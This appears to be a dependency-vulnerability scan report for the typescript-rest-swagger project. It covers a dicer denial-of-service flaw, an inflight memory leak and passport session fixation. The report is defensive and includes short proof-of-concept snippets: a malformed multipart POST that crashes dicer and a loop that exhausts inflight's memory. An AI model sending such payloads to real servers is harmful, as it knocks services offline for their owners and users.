Vulnerabilities

3 via 5 paths

Dependencies

211

Source

GitHub

Commit

a0dd006e

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
  • 2
Status
  • 3
  • 0
  • 0

high severity

Denial of Service (DoS)

  • Vulnerable module: dicer
  • Introduced through: typescript-rest@3.0.4

Detailed paths

  • Introduced through: typescript-rest-swagger@thiagobustamante/typescript-rest-swagger#a0dd006e003a3f1ae256db87f33c6d2dadc3cb63 typescript-rest@3.0.4 multer@1.4.4 busboy@0.2.14 dicer@0.2.5

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC:

    fetch('form-image', {
      method: 'POST',
      headers: {
        ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',
        ['content-length']: '145',
        host: '127.0.0.1:8000',
        connection: 'keep-alive',
      },
      body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--'
    });

Remediation

There is no fixed version for dicer.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: glob@7.2.3, yamljs@0.3.0 and others

Detailed paths

  • Introduced through: typescript-rest-swagger@thiagobustamante/typescript-rest-swagger#a0dd006e003a3f1ae256db87f33c6d2dadc3cb63 glob@7.2.3 inflight@1.0.6
  • Introduced through: typescript-rest-swagger@thiagobustamante/typescript-rest-swagger#a0dd006e003a3f1ae256db87f33c6d2dadc3cb63 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: typescript-rest-swagger@thiagobustamante/typescript-rest-swagger#a0dd006e003a3f1ae256db87f33c6d2dadc3cb63 typescript-rest@3.0.4 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Session Fixation

  • Vulnerable module: passport
  • Introduced through: typescript-rest@3.0.4

Detailed paths

  • Introduced through: typescript-rest-swagger@thiagobustamante/typescript-rest-swagger#a0dd006e003a3f1ae256db87f33c6d2dadc3cb63 typescript-rest@3.0.4 passport@0.4.1

Overview

passport is a Simple, unobtrusive authentication for Node.js.

Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.

Remediation

Upgrade passport to version 0.6.0 or higher.

References